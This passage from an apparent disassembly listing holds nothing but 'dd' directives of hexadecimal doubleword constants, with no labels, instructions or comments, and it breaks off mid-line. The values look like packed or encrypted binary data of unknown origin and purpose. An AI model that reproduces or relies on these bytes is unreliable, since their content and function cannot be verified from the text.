0A200EEB2h, 7C883645h dd 524B3922h, 0B5F827CCh, 0BD0B85F3h, 0E112EB11h, 0E26B2571h dd 0D0BA9D8Bh, 80C40612h, 24AE2909h, 1AA6AE73h, 2F2F3518h dd 0F54F0446h, 670FB4ACh, 34496C08h, 2A1420C9h, 0AB87FCh dd 5A73E43Fh, 27C50970h, 1C10195Dh, 0C00EA1B8h, 813D11D7h dd 0EA6E8A53h, 207DF888h, 17416801h, 0C82F5C57h, 93009A92h dd 0D35AECBDh, 928BCB15h, 14BE093Fh, 0AE6D5C48h, 0F78CB5C0h dd 0EA520431h, 0A3490872h, 2A484802h, 497BA2Dh, 0F7B9189Ah dd 391C5FD6h, 8A905B84h, 0C14BEBFCh, 0F80C81CFh, 5EF66158h dd 4925DC76h, 8E038A75h, 7686DCh, 7096802Bh, 6FF1D0F5h dd 0B0B552EAh, 2EF9B709h, 0DE2C615Fh, 9802D4F8h, 0E695FDA3h dd 838277BCh, 55E1C30h, 25953158h, 0C2712F39h, 0F92D51CEh dd 0CF8B2A71h, 9DE4D565h, 70F59D95h, 0F95ABD89h, 0A3EC10B9h dd 0F5E9CB00h, 8189788Fh, 2F7B09D7h, 0CD714D46h, 0EF042142h dd 0D126030h, 54147B11h, 0B1CC78B7h, 3D2D03F2h, 0E30B94E8h dd 0F6931DB6h, 4006C4E8h, 144BCF4Fh, 0A0634AECh, 0B88B0201h dd 59C88061h, 451213EDh, 89199E27h, 79BBC033h, 1A099D8Eh dd 0BD9D5658h, 28D9E16h, 0FFA73326h, 0CE80E9D1h, 0B1141E2Fh dd 35EF802h, 1555FA45h, 93D067FDh, 38B68D0Fh, 0BF3F992h dd 4F2344h, 0E698A1E0h, 67661CD9h, 8688900Eh, 0FF973ED6h dd 1658E4F9h, 3C9EBD3h, 2E71EA2Ah, 0A22A79B3h, 21A950E1h dd 0AAF2015Fh, 5BA3BB82h, 0A052D97Dh, 0B47EB594h, 79051FF4h dd 0B3704094h, 613E31Fh, 95F4C697h, 91DD8F62h, 0E93A7D2Fh dd 52D8E870h, 854AC2ACh, 27F4FBBAh, 0CB55499Dh, 97E8FD4Bh dd 0A887F081h, 0A95BF62Ch, 0E3EAC025h, 0E84E2Ch, 5598460Bh dd 90B89FABh, 5B739304h, 0E9B86242h, 112B2E55h, 0CDBC97B8h dd 0C2489405h, 52FF5E0Fh, 0ADA230h, 0C71332DCh, 17FB3D0h dd 0BCDB1E4Ch, 0C59582EFh, 88A6444Eh, 18975B96h, 2DBD31D6h dd 4C731145h, 0F10A239Fh, 0F849B928h, 4E44B034h, 0EC75BFC5h dd 7087F88Ch, 59330057h, 0E1B1C535h, 0B0003E0h, 652E2753h dd 5E9642C7h, 0E84D34C2h, 10D91060h, 4991313Eh, 96E85A01h dd 0C154BDC0h, 3B002DF8h, 922E4A38h, 2519E658h, 0BEF1D6C9h dd 0A8010A11h, 76821620h, 82542F17h, 3E895E7Bh, 686607Fh dd 550187CDh, 78194710h, 413FFE8Ah, 5D95895Dh, 7D5D34h dd 0E159774Fh, 0B9CDF800h, 0A768F324h, 42B04DAh, 0B8B82A86h dd 0BAB2D2DAh, 10A52C88h, 70C0F49Ah, 71E25CA0h, 0FFFD5D00h dd 968C2367h, 0A1E1BB02h, 0FD506127h, 0C7600099h, 26E2ACD4h dd 0F0026D96h, 5D765A99h, 7FF867FBh, 1B191378h, 2567A856h dd 926D565Fh, 0B0A8F7B5h, 0B8A0E97h, 0CCF348DBh, 986E1AD7h dd 7B1432Bh, 96F2A397h, 59DF40B2h, 0E9071F39h, 8A668991h dd 932177E2h, 60D8D073h, 7F4448B3h, 1309FF4Eh, 0E7CD7761h dd 2716DB49h, 0D9C407DDh, 0C57113E3h, 0CFBAB4h, 9AA37FB0h dd 40D14718h, 3FF4D504h, 4BA9CAEh, 0B83A12CBh, 2B3FA264h dd 9CBD654h, 254F5C70h, 6D8955Bh, 0E49FD3h, 0D4F6B31Fh dd 36B4CF01h, 0B26F2B99h, 40CB4AA3h, 0E954B702h, 0EDF6F446h dd 0CDE4B512h, 0D7C1508Bh, 0ED215ECDh, 6928D8E1h, 6B908114h dd 0D19482B8h, 44588A3Eh, 2BCAE592h, 0EF4FDAE3h, 7D90F462h dd 0EFC052CDh, 29E5CC9h, 2594A8F9h, 925D98FCh, 0C57255FFh dd 1C0E5100h, 0DEC781ADh, 15DB172Dh, 32E2835Fh, 6A70ED73h dd 42A7F99Fh, 2F5C258Dh, 138CB42h, 2EDBE780h, 0CF811000h dd 12689289h, 54609006h, 566FDD9Fh, 0E73BE633h, 0BDA7D1A0h dd 0C42A5ED8h, 6EDCF14Ah, 0FDBCCEEDh, 50282712h, 6D47AAFh dd 0AC2B62C9h, 0F3BA16E4h, 5BEFE075h, 6661CE25h, 25BFF8E3h dd 335F50E2h, 4416F41Ah, 0ACBEEDCAh, 5A61A3BBh, 0F025B670h dd 9F19B5A3h, 5A445AE2h, 0EF700260h, 7290F531h, 8D379550h dd 5406F400h, 13437F90h, 0F87DF8F1h, 0BA957150h, 2DB050C5h dd 2659EDE9h, 538D5C2h, 21C381F9h, 0E0F72F10h, 95064C58h dd 0CE3E8311h, 2830BF0h, 0CCD0BBC0h, 0E8DD3FC0h, 1035BF84h dd 7276F21Fh, 4EE8834Ah, 9B5AB1D5h, 0DBA696FAh, 155825Fh dd 7F397B0Ah, 92955EF8h, 0F415D44Dh, 0BBA32E09h, 0E07B5737h dd 59C28A09h, 0B7D5AD6Ch, 5DF2D6Ah, 60BC60B9h, 4AD57680h dd 119028D9h, 9A65EE78h, 4BBE9DA8h, 4E7761E5h, 0E06E8712h dd 487E8E85h, 0C1B53112h, 0EB0994AFh, 71316Eh, 88D96AF0h dd 0CE791F89h, 40AC824Ah, 2F0BC910h, 2012FF5Fh, 9C629462h dd 0D85BDBDFh, 0E92FF2DCh, 0C4516Eh, 0A28AAFA3h, 824A6296h dd 8A25A4D8h, 0B5A6078h, 591073B3h, 29608F2Ch, 4A44F5D7h dd 618CB604h, 8E8171E4h, 322B2239h, 3121F9A6h, 7DC62985h dd 9D0455D9h, 510B2EFDh, 20C50982h, 6BEC550Bh, 7029992Ch dd 0F65D51C5h, 0CBFEE8D8h, 0FC6A12C3h, 578DB07Dh, 0D03ABF02h dd 565B07F4h, 0EA5888Eh, 4D18D14Ah, 7FE0B747h, 2F6EB5E9h dd 0C35B61Fh, 7F3D1600h, 0FE3F6596h, 49A60BF1h, 0D8E41C4h dd 44024EAEh, 88D1D98Ah, 4618F300h, 120CC2DFh, 0AAECCA48h dd 7D9D8C42h, 97B0D52Ah, 4E8C21CDh, 5E6BA71Bh, 7DB014ECh dd 10B74BE9h, 9D2D315Eh, 0E988AF53h, 0E839800Dh, 1F44114Ch dd 0DE630A01h, 0E9B783ADh, 24CB222Bh, 8C2B8111h, 0B295FE45h dd 0FB5D50D1h, 82A41004h, 3AA1F193h, 0B3824DEDh, 666D07FEh dd 3DC087E0h, 0B0CD12F9h, 9D3D05EDh, 0F8EE9361h, 0C1EF6AAAh dd 56C66C42h, 0BDDD2FE2h, 0F72A0171h, 0C8B017EFh, 6409A48Bh dd 2B7FB994h, 0A542D121h, 375FDD42h, 963700F9h, 3DAB63EDh dd 7017622Dh, 1F75200Fh, 10C02B27h, 0A56D3Bh, 504DB0EDh dd 0F483FCB6h, 44F0FD02h, 4699AD4Ch, 0B537032Ah, 70EC3325h dd 2FF0AED0h, 27972048h, 8837D2h, 0DFC88E27h, 8C09F5D4h dd 0FE8F48B7h, 4E0681Fh, 0EA9FB2F3h, 19A2DB8Ah, 931D530h dd 0ECE74BA0h, 1F691882h, 5F0DBD22h, 0DDF99D91h, 0E0577788h dd 0A3BC2AA2h, 0F7208AC0h, 0D62F3465h, 3DB5611Bh, 1AB77F18h dd 0C57FAF5Ah, 0C19EB400h, 0C8F1B362h, 0D5364804h, 2FAEDA8Ah dd 539A5A3Dh, 4C14EB80h, 3865B29Dh, 0B06201D8h, 0DF475524h dd 8B0E7A11h, 0E713B8D8h, 9B83B0CEh, 8AAA015Bh, 9253685Fh dd 3AFEC58Bh, 1DB2BAA6h, 0A55B130h, 87715A9Ah, 0C6400983h dd 694064DCh, 3778DD9h, 36FE765Bh, 2FA72C73h, 4180150Bh dd 5F8248CFh, 0DFE1FF25h, 8788A61Ch, 0EB9B040Ah, 559FE189h dd 9E04C378h, 0C81AE002h, 8A35EB8h, 8F493B76h, 0F9F9932Fh dd 4BF97950h, 226A8E16h, 0A3BB3FB3h, 0BB419E97h, 0AF9261DBh dd 0B6CA2B5h, 0A341AE8Fh, 2ECAD25Bh, 0C6C87613h, 0BB7A00D8h dd 2302730Ch, 961CF139h, 0E6810BF7h, 0AB3A598Eh, 0E66A122Eh dd 0E816E05Bh, 0A98D02A3h dd 63366E1Eh, 0F200AA71h, 50F47834h, 0E71500F7h, 61A8BC46h dd 2397E06Fh, 8501186Dh, 0F5B7E6AFh, 0FAB0C8ABh, 4E0CE828h dd 13836900h, 14BD4BA6h, 2534FA6Eh, 0E3D05B62h, 0E9ED165Eh dd 27A27BDh, 0A8F78D59h, 0B18DE12h, 0DF7CC1BDh, 0E733DD6Bh dd 0BCBF50C0h, 146E0212h, 2A7458EAh, 952529D8h, 71E45DA9h dd 0DF0E680Ah, 890994B3h, 9914E421h, 0BCD18035h, 6DF99D3Dh dd 121CC0B8h, 5E9DA1ECh, 0C013B94Bh, 13E0BF67h, 0FE2C36AAh dd 93F1D623h, 54F5D26Bh, 3F7C699Ch, 0A572C960h, 3AC60F3Ch dd 39003282h, 0AB0340AFh, 1870F11h, 0AF5BF813h, 1A41C598h dd 25CDE923h, 0D372EAF3h, 40B02AD6h, 0CD4BB710h, 0B757238Ch dd 0E21F0781h, 0ED0A825Bh, 5C5046A8h, 0FA016523h, 9A20D9A5h dd 2DC996FDh, 2DDE35D7h, 0C103974Ch, 0DA160879h, 0E55A25F4h dd 6D9570F8h, 601B6466h, 95CAC8B3h, 0F592545Eh, 0EEEC9A17h dd 84239A0h, 0CE0998E6h, 6D0689B3h, 5E8EC092h, 3F0357DCh dd 36F466EBh, 11D212D9h, 7B993908h, 3B00C76Ah, 9BDEE982h dd 1627BC14h, 61AB5466h, 2E1185h, 9D525096h, 306B7210h dd 0DAE26904h, 0F2EF8718h, 57A200E3h, 0B031C5B5h, 205B5A21h dd 79BB66A1h, 3796C927h, 6E230340h, 0A4251EA1h, 96FAC4DAh dd 0DC9DDE68h, 0BDB300D6h, 4C264A68h, 21C86C4Fh, 2B7000CCh dd 14E77DAh, 453DEDF8h, 0E4804BF7h, 495325B5h, 1B25646Ch dd 88B0B4CEh, 46107927h, 0EB8DA88Eh, 5BDD254Eh, 0A246335Fh dd 1162C061h, 48C79525h, 513E09A5h, 0B4A4774h, 58D0EDD3h dd 0CD01023Dh, 2AA19D29h, 0A6FC797Fh, 2604DE8Dh, 0E24713B2h dd 0A4703BAEh, 34A822EDh, 73596175h, 2527BC58h, 1B582EB4h dd 48EB8039h, 22B5761Bh, 55C185AEh, 0EA9AC467h, 9E37FF6Ch dd 16DA5189h, 54C06B23h, 3178AC7Bh, 0E76D045Dh, 0C89D89AEh dd 4C95561Dh, 0B5C0B010h, 0BF50DC74h, 571B120Dh, 0AC93B97Eh dd 13098C19h, 8AB0F9D6h, 5325AC37h, 181C59EDh, 1B7B001Eh dd 0CA63D6EDh, 0FBBE3AB5h, 0F48E5B40h, 0FA81259Eh, 0F900FFF6h dd 3520DD2Bh, 12A6FA56h, 0AE1B36D6h, 4A981166h, 4895EC50h dd 0B2754628h, 9DDAD7E4h, 411E78B5h, 0AB206B18h, 4AEB283h dd 57D7D639h, 328AAA5Bh, 35BF7DA0h, 20C6C712h, 0ADD3CDB9h dd 909DA82Fh, 0A2DD9674h, 1C7BBDD5h, 9870E4DAh, 6E769F13h dd 8213D76Eh, 2D6ED9EEh, 9848457h, 6280935Dh, 935CFABCh dd 55B50905h, 20502405h, 1B6FEAh, 0CE661514h, 1240B4B1h dd 0E3FC359Eh, 70994C7Bh, 7995744Bh, 0C4A1AFF7h, 8A3AA019h dd 0D4187E95h, 0FFA77B93h, 3077F90Bh, 17B9CB5Ch, 0C453CCBEh dd 35B7FF23h, 0EC083FA0h, 4059DCBDh, 0CEB4DB81h, 505C6804h dd 9C94C1B7h, 6E020F6h, 8700B5C9h, 31AD340Dh, 9DF59D0Bh dd 0F19FCE58h, 398EECF0h, 98560140h, 0BD520D5h, 3DBB5B4Ah dd 199DEC7Bh, 7596C5C9h, 50F429C6h, 27FFFBBDh, 62A5CED1h dd 0E0E96DE9h, 0B7215B68h, 4B7679B5h, 1A45B1F0h, 6200E963h dd 0E90A2D41h, 0AC0E1F96h, 80D438D5h, 0FEC317B8h, 31480BF9h dd 3DE45BBDh, 53BFF10Fh, 0A7B1021Bh, 9AD95558h, 0CED098A0h dd 21ADE1AAh, 9784AF14h, 549C38AAh, 45F43389h, 0FCFB9F34h dd 9F114E7Ah, 109FA5Ch, 0F4B2FEC6h, 0F8BE7916h, 9D32614h dd 575F029Ah, 0A0A57C65h, 0B6417DC0h, 4CE20BF3h, 0C4FD8F93h dd 0E0589FD3h, 613CB702h, 5550E95Bh, 3DC2A28Bh, 0C1966674h dd 348043DBh, 53B26601h, 78DF7C00h, 8D09F2F9h, 0BA1C5BEDh dd 6A3B6B29h, 0EEA24AC4h, 26BF5001h, 283B9956h, 0FA65B7Bh dd 115843E0h, 0DCE7801Ah, 0A48D5742h, 0A7AE840Ah, 0B8AEFF48h dd 0BCC38E01h, 31B522E5h, 56E9FF8Dh, 7E8D6153h, 0F35FC992h dd 2B82D091h, 7B77BF0Bh, 91940B7h, 17654F9Dh, 699AAB14h dd 862A9896h, 0E43D0D00h, 0E3811579h, 8A561277h, 0AC21AD18h dd 0B9098C17h, 3EED422h, 2D0FB5B8h, 0FBC4D1B1h, 1A7ED000h dd 3D7AA206h, 5930007Bh, 0D5DDBE84h, 0A348C5EFh, 9E9E74E8h dd 7AE25B12h, 6D5BC389h, 128F7CD8h, 0EB52B019h, 225F3C83h dd 0C49F1F56h, 66970026h, 821518F8h, 7A1CC333h, 9A801B74h dd 7E16E63h, 91D2DCBh, 0FA422855h, 60B90213h, 4FA12FB9h dd 182D2141h, 0ABF45002h, 5F86B501h, 7C6E5690h, 34C25F16h dd 74958DBBh, 5401DE13h, 66265235h, 1BE0A259h, 0BD290955h dd 94FF0B9Dh, 0E9DE12E7h, 89DCE3BFh, 559E09B1h, 49803537h dd 2ED5B228h, 47DE49ABh, 0D401B8BCh, 0B501692Ch, 0C40407C9h dd 0FB94BE2Eh, 0A5EEA6BBh, 0DB0093F6h, 663103A6h, 4EBE9AA2h dd 902E0F10h, 12791D1Fh, 4BD8AEF8h, 33F121B5h, 0D1850960h dd 23519D02h, 0BF0FE74Eh, 0DFB56BAFh, 0F5025E62h, 66556983h dd 28C30068h, 97ED427Ch, 3502B7EFh, 0F05B2953h, 0D0274032h dd 0BB314EA3h, 403AE767h, 75F58D0Ch, 33D995B0h, 16921480h dd 904AB1CCh, 265520D0h, 70E65F18h, 332DB5Ah, 8971E4D2h dd 5D58019Dh, 9C6A1DD7h, 4BE47612h, 850188C3h, 97107921h dd 3119F060h, 97581640h, 58A7D9F9h, 604F98FEh, 32EF7260h dd 953A2313h, 0D8FCCF85h, 518A76D8h, 0C24F5325h, 4010564Bh dd 6B49077Fh, 1B426A00h, 2BFCAF4Ah, 20BD90C8h, 8B273379h dd 34D4D0D1h, 0EF396CE9h, 324C9C0Eh, 8603B30Bh, 25BD2B22h dd 33C2FBBFh, 0D56E21CBh, 28FF1312h, 90A12BCFh, 3CE90122h dd 4FB31789h, 0D8A72071h, 2D23B4EDh, 807CB857h, 0FD8E4FCBh dd 9820D6B4h, 34EAD2BBh, 10D637F2h, 7912DC5Ah, 0C98AAE2Ch dd 7AFEC417h, 539E0774h, 62FD6AC8h, 5675923Ah, 8F005D71h dd 0E71EC012h, 86EC0089h, 10B81F42h, 0C101F0A0h, 5614257Ch dd 0AD3B5FF5h, 0ABBCDFh, 41FF4786h, 34F26920h, 498874BDh dd 53933859h, 0DE6AC40h, 0BC05B95Fh, 0AD4D2FACh, 22CA5EC0h dd 0A6603A87h, 0ECEAA9CAh, 9B7F0298h, 0D43AE8C7h, 0D40DCD4h dd 2C47D2Ah, 0E37094B5h, 5A41CEB2h, 439B2FC0h, 0EC34AA97h dd 841ED81h, 0C01FB83Ah, 7399AED2h, 3EB7EF9h, 0F60D09C8h dd 0EEED2BBEh, 3C1F886Eh, 9407C94Dh, 67D79729h, 719D8B53h dd 18588029h, 1AB3DB7h, 734F8552h, 31123ED7h, 4BB3C0CCh dd 52078CA3h, 0FE5BF82Dh, 0B4027D38h, 605BB98Ah, 0B529D97Ah dd 0C647D24Fh, 5C0EC7C0h, 127B4F3Ah, 8E00B218h, 0C5B91673h dd 94F3BE8h, 0A64A98A8h, 61EF5B71h, 6A0B15E6h, 0B5513DDCh dd 71280090h, 0A501E500h, 0A360AAC9h, 0F0760185h, 417EB947h dd 2B39F5B1h, 5AB9E116h, 0A32518B8h, 9F9657Dh, 3D570468h dd 0F14B007Fh, 0AADC6310h, 0C68D655Ah, 4E11282Bh, 66D9BB89h dd 46558A5h, 0CF04060Bh, 1F414071h, 0B52C9DA1h, 542492B7h dd 986900DEh, 6F0B8F1Eh, 6AB5F86Ah, 547C06Ah, 736D9503h dd 0D6621644h, 0FE63D3E2h, 46552C8Ah, 0FE2D4AEDh, 0D883F99Eh dd 0EBF0503Ah, 2212DE59h, 48A35F36h, 49B53105h, 0E671EF16h dd 34C5BD89h, 0A553EC6Ah, 38E86ABBh, 53609290h, 4000BEA2h dd 81EEE5FCh, 5F5F68AAh, 78EAE6h, 0F8176773h, 0E3B63133h dd 0EA161800h, 0AAA83F9Eh, 55BF0566h, 0AF905F01h, 0FE00F56Eh dd 3F0FBF99h, 44C369EDh, 0D3CBE668h, 455E12DAh, 19FAB0BBh dd 255F3817h, 0C8BAFAC4h, 54B5E903h, 3B00F4AEh, 4D3DECCEh dd 5E9D337Bh, 0FEA51329h, 994A736Bh, 3A97F7Fh, 74FFF340h dd 0DEED5929h, 0ECC05A78h dd 2A129333h, 0EED22EA9h, 1B12512h, 74E01F37h, 70253185h dd 6A1E1086h, 54561CD5h, 941A84A0h, 5B23B86Fh, 66EC52EDh dd 0BF802A91h, 75BA8D1Ah, 9A0F4BC1h, 0C818C824h, 13CD1682h dd 20DFB038h, 0A5415995h, 3B508B73h, 9D0B0998h, 0A57B2BA1h dd 0F6181779h, 0F3760612h, 2415D704h, 402BA8A5h, 1A2B30Eh dd 5A9FA9B5h, 1C829518h, 14532434h, 2AA4570h, 1E6D034h dd 0F1562920h, 11946DCh, 0B51A5711h, 0CD3E810Ah, 298642C1h dd 0C4442ED5h, 68003449h, 2DFB22D5h, 4A27F897h, 2AF6C0CAh dd 0BFF6E421h, 2EACDDF3h, 0E8D26DECh, 0CF330BDDh, 2F06FE90h dd 4C9C107Dh, 807C2D06h, 0D34D9690h, 0AD00B677h, 5B187289h dd 9513820Fh, 8080787Bh, 0A2FB393Dh, 0B3C0005Dh, 89AE426Fh dd 614A5E35h, 67BD12FAh, 0D9F88719h, 7193A5B7h, 680037A2h dd 153C8254h, 6401D95Eh, 0E1CA476Bh, 0FDCA164Bh, 1E7F0AABh dd 5043BBB7h, 7D12FDFBh, 0E2AEA20Dh, 0E7800908h, 475359C1h dd 4F6082Bh, 4CECCF9Ah, 0C4B4FBF5h, 81953B29h, 0F246BBC3h dd 3975CCF2h, 217A5519h, 2E62B475h, 0B56A3428h, 0F8F45476h dd 0E1D2F33h, 2D607354h, 0F0C799DAh, 83E299F5h, 0DEE3FC96h dd 0BDBC51F8h, 0DBFDAF52h, 0A6BA8460h, 7D97E16Eh, 847F2A2Bh dd 8BC5514Ch, 5B27FFEDh, 0D97D4842h, 6BA025h, 0FD62118h dd 0D1D8DA22h, 71C4534Ah, 0A0D7A7BBh, 0B7B9D473h, 6A2DBCE1h dd 887DCEDDh, 0EE01D8B8h, 0EAE3A87Eh, 812ACA39h, 1311576h dd 61E8E680h, 880F1896h, 5F503B02h, 38C7BE5h, 21D300BBh dd 23963B20h, 699FF9BDh, 1B4185E6h, 6B7FD98Bh, 31C23F3h dd 2DA2EB8Bh, 43F7DE88h, 22BBA902h, 5C4D1C16h, 38FC6B4Ah dd 3D95BA22h, 5BB08179h, 3B0BAB69h, 75AA8D84h, 0B09ABFF7h dd 2C311AC9h, 64A0FCC4h, 0D430C012h, 0FC5ECCA2h, 0F69DF0B0h dd 488F48Eh, 0F3B62F9h, 3EBE8986h, 0FC3EC089h, 0D917B041h dd 231607B3h, 195F5D6Dh, 91D23575h, 0FAEC801Dh, 0C1A416h dd 0D6B7A28h, 0E238BBD0h, 0C21AB625h, 0E00DCD9Dh, 9FC563C7h dd 1BAD25Eh, 7D958940h, 52E87A28h, 45C1D096h, 0F6004E12h dd 140D6779h, 0B02B9E3Eh, 38F7952Ch, 2FC0305h, 0AA54B0DEh dd 0BE5CE3CDh, 0D0097769h, 14D53B0Bh, 0A8A21C11h, 0B6730097h dd 17783EDh, 35304701h, 9BFCEE66h, 9D29986Bh, 15BB314Bh dd 5CE81065h, 5B4A5F1Ch, 0F8926A44h, 9C802CACh, 77E13E01h dd 0D2949F0Bh, 39CAFD7Dh, 201975C0h, 0EAC45E82h, 1B312F8Dh dd 5F2CAF9Dh, 268A2EB0h, 60A5AE02h, 0E037BD94h, 1339C4FDh dd 0AA83F19Ch, 0C059A854h, 55B60BF8h, 1FF500F9h, 15E92B35h dd 601FC899h, 0F0C5A291h, 3A81F202h, 0F62AC523h, 321AE265h dd 0AF54F155h, 284AACF0h, 15BC08B9h, 40BD258Ch, 1211F0C5h dd 958D8904h, 5250450Eh, 0B05B8FC3h, 2D64B6BBh, 965B7F58h dd 90D7188h, 99734AB7h, 617ED8Ah, 5E25810Bh, 0D07F5A13h dd 694DB5A1h, 32601D64h, 1000D0EEh, 0B9A621C8h, 7E6695CFh dd 8AB54BBBh, 3D4222C8h, 5889E381h, 31027113h, 0CE5C16E1h dd 0BDEDBEBh, 757BC6FEh, 7B126D0h, 1549099Ch, 0C8ACF279h dd 0F58B65Ch, 0AD124E83h, 2D72C3C5h, 538D887Dh, 899D2C0Bh dd 0E95F85D3h, 9DDEBF1Bh, 8C3E12C0h, 193C50B6h, 10064883h dd 8B042639h, 0B84EB7C1h, 90F9C1AEh, 13202DB3h, 0B223ED5Bh dd 14227901h, 0E82AAEA5h, 7201A082h, 0BB5D9F36h, 0A09A4AB9h dd 5BCD06F5h, 16BE8CE5h, 850C9044h, 0FF4F57CBh, 4E1F066Fh dd 806F412Dh, 2EDC922Ah, 8B50C405h, 0E280D8B1h, 69080EBBh dd 31610F65h, 0A8B0BF12h, 71077BC9h, 2EDDC41Ah, 0AC7A22A1h dd 603EFD06h, 2CF14FA6h, 79365402h, 5E8AFB8Bh, 95CA221Ch dd 0E4BFCB91h, 4F4A7EF7h, 342BDDE1h, 4AAFFCDBh, 9877B7CDh dd 172C2110h, 5C8D1FFh, 0A3F100BCh, 87D56564h, 0F84B8AEDh dd 93B29312h, 2415488h, 0E42C03B7h, 0A50DA18h, 0D35FE3BFh dd 1CAD8DF9h, 0CC011ED0h, 0AEA485B9h, 0C96B633Bh, 0C3FAD812h dd 308B7300h, 2D774FC9h, 0C573B5F0h, 4206D88h, 0AE37E95Bh dd 8257003Ch, 126A375Fh, 0D17F3003h, 0A226B0DCh, 6500E574h dd 0BD4EBBACh, 4B3472B9h, 39089DDDh, 2B0A805h, 0EFFFB531h dd 95798BCFh, 0CDBE9017h, 934AE497h, 5CCD6D00h, 0EABC68A2h dd 1D3D083Ch, 5104C628h, 10BBE1B3h, 8048DAB8h, 0FF017113h dd 0DB3B457Dh, 4AC182E9h, 28D9F50Dh, 68FC2317h, 0B469F84Fh dd 29A86CFDh, 4113F407h, 8D27FEECh, 67B86A44h, 6C7BEF5Fh dd 0EDAF321Ch, 10E71C5Dh, 8B15859Dh, 0C9760F53h, 165D7129h dd 0BD73EA60h, 610BCCA5h, 0F1885154h, 52E8C427h, 34895AB1h dd 4CD71F81h, 0E5BD13B3h, 60D12230h, 0B5127D4Eh, 5AE31C59h dd 0B5DFCF50h, 6A9D2F49h, 0BD0833B9h, 68251E49h, 840D3554h dd 7D6942B0h, 0A7A980A3h, 0A196E97Fh, 0C33F8535h, 0FAB249E2h dd 797DA062h, 0D84D00D3h, 585901Ah, 1C4BB701h, 1F288C78h dd 77804B6Ch, 143C73C6h, 42CAEF37h, 98576908h, 1354C35h dd 583351DAh, 0C59509A1h, 71E27F2Ch, 0D89AAD2h, 0D4FD0C95h dd 0F839E913h, 250CA6B2h, 0B25B1719h, 5B8C64A5h, 1210B31Eh dd 8EE68036h, 140BE84Ah, 42A03117h, 5B8A2589h, 0DA2F889Ah dd 4F09A748h, 49240E83h, 80247326h, 2FEF8057h, 9F38B95Bh dd 0D9A65B0Fh, 2A359CF0h, 5382F500h, 967DDCCCh, 5CC790F8h dd 259E79BDh, 5B6D2EC2h, 50844BE0h, 0B91B2CE7h, 33722555h dd 35BBFC00h, 2B51399Fh, 9D290BC0h, 0E7D5345Dh, 0D819C51Bh dd 402528F7h, 2721F402h, 4015D61h, 1BF9A505h, 9D7588B4h dd 0BBD87A74h, 0FA6F13FFh, 17F044Eh, 0B80CB935h, 0D008C1Dh dd 522869C6h, 1918DFBh, 0F781D9A5h, 3E215CBCh, 3D50EFA6h dd 0A8084AB5h, 0DC8FA33Bh, 0DB815640h, 6E129575h, 23E25F2Eh dd 0DBC6D4B4h, 0AB69C132h, 0B471C1F3h, 35FD282Ah, 8FC6558Ah dd 3D852909h, 12E75B05h, 63CDEBF8h, 0C417E87Ah, 810017B1h dd 0C52DC4EFh, 0E1FF3612h, 2562E6ABh, 8BF65F9h, 867C050Ch dd 0C9831F70h, 942DD8A8h, 58B83ADBh, 94956EF2h, 0BFF244BFh dd 7B30BA08h, 4AA580Eh, 7DDACE93h, 0B9E76A80h, 0D8712BDEh dd 6FC73F4Fh, 29562F08h, 0B8BE3960h, 92D33DA9h, 2CB68002h dd 0FF606053h, 665EC3B7h, 208D28A4h, 2BEF16E9h, 2DBFC400h dd 951B3881h, 226DC389h, 0F5D47BC1h, 0A547B87Eh, 25416AABh dd 0FB6D570Fh, 27955627h, 0FCC907F6h, 0F74A40FBh, 0DE096A8Fh dd 6BA4F56h, 4CF3C1FDh, 0AF5BBC5Fh, 605A1D6Ah, 0DCF3D8FAh dd 0C1D2DA29h, 9BC5D80h, 46CB2A9h, 0E04DC077h, 0A50F8BFh dd 1690FBA4h, 0B54E4384h, 5042DCFEh, 285152h, 0FA8CA1Ch dd 387E3FC4h, 0AE5B6B8Fh, 0C014E6Fh, 0E738CECFh, 4DF56EB3h dd 0EFC0251Ah, 27A8528Fh, 0F3BBED00h, 2B1AFD15h, 44D2B59Dh dd 0F1BE6805h, 0A4BB0BD9h, 0F23C4158h, 0CC4DEC6h, 839E2AFBh dd 80AE9BC8h, 730A68E0h, 900C90C6h, 7E52520h, 5BA708C5h dd 38C85030h, 0AB09517Eh, 86839B0Bh, 1CB7ADCAh, 2D0231E9h dd 0E678F453h, 4EFE728Ch, 82EBA9F9h, 7C105195h, 315849EFh dd 0F405FC97h, 6494DB2Ch, 2105BD04h, 9320A2BBh, 908047DAh dd 0FF2348ABh, 0CE9C0D24h, 249D850Bh, 0A6BB5F57h, 15091024h dd 0E7FA8469h, 0D42B74B5h, 0C2471759h, 0CA712079h, 93645B69h dd 0EDC7EB91h, 7D672BAh dd 5BA0A118h, 0BF865F9h, 6E775DFEh, 5B89FE26h, 0DE6EAA46h dd 0F3016B00h, 17A159B7h, 0FC2D8218h, 8225696Ah, 1D518BC0h dd 2D8844B7h, 488B14A2h, 62701C53h, 457002C6h, 313EE4DCh dd 7621E457h, 0A53ABC01h, 15644D6Dh, 6EE00372h, 750FD2E8h dd 9FEA682Ch, 0A7A19F96h, 1511012Fh, 2660DDB2h, 9CEAF5D0h dd 0BD2F23DBh, 7B38D709h, 55299589h, 0BB04A308h, 0E7EF7D87h dd 3778A0C4h, 7D250077h, 0FF8C3DA5h, 739DF53Ch, 181B5957h dd 9E77172Ah, 7F85BA22h, 9F61D2B0h, 0B312D937h, 0DAD761E3h dd 8BB28FCAh, 0EBCFF86h, 4F8B59Dh, 8C32E962h, 2D5AF9DBh dd 640998h, 1720AF19h, 0D6C09A3Bh, 6C059812h, 50AE63E3h dd 0FA4E8A75h, 3EB2B212h, 0A797DD8Eh, 0BEC3A429h, 0BFC1ECEBh dd 0CE6A01EDh, 56AB34DDh, 0D6A6DBABh, 0AF9635ABh, 0C106DA1Ah dd 14E5BDBFh, 81CFDF79h, 45C4A9CEh, 7198EA6Ch, 1AE823BFh dd 72495316h, 0AFF05B5Bh, 0B5425D4Dh, 40FCD68Fh, 10042D63h dd 880F1C00h, 0BB59816Fh, 5BF300E5h, 4328B0C2h, 9650D768h dd 79E950CCh, 0BE21B83Bh, 861E27Dh, 0AFE94555h, 6B005D35h dd 0EF89B81Eh, 92280CA9h, 0A56281C2h, 3CA92C52h, 0EF4EC659h dd 74816F24h, 172B2C80h, 0AA7BEFE3h, 1154F027h, 4BB5846Ch dd 600B9C08h, 208D8AC6h, 0CB81049Fh, 0BB613157h, 391716A6h dd 6F6AFE35h, 4A1A29h, 2AF00357h, 0CFB29DE2h, 640E0125h dd 25069898h, 8A541859h, 0AFF837E9h, 579F0B55h, 0F4E0B100h dd 0B51201D8h, 0C3E202C1h, 98A8C4Ah, 0ABBFF1FEh, 0DE8DF639h dd 7E926C02h, 4C94D664h, 85312535h, 0FFADB674h, 0B12D4D35h dd 509AE655h, 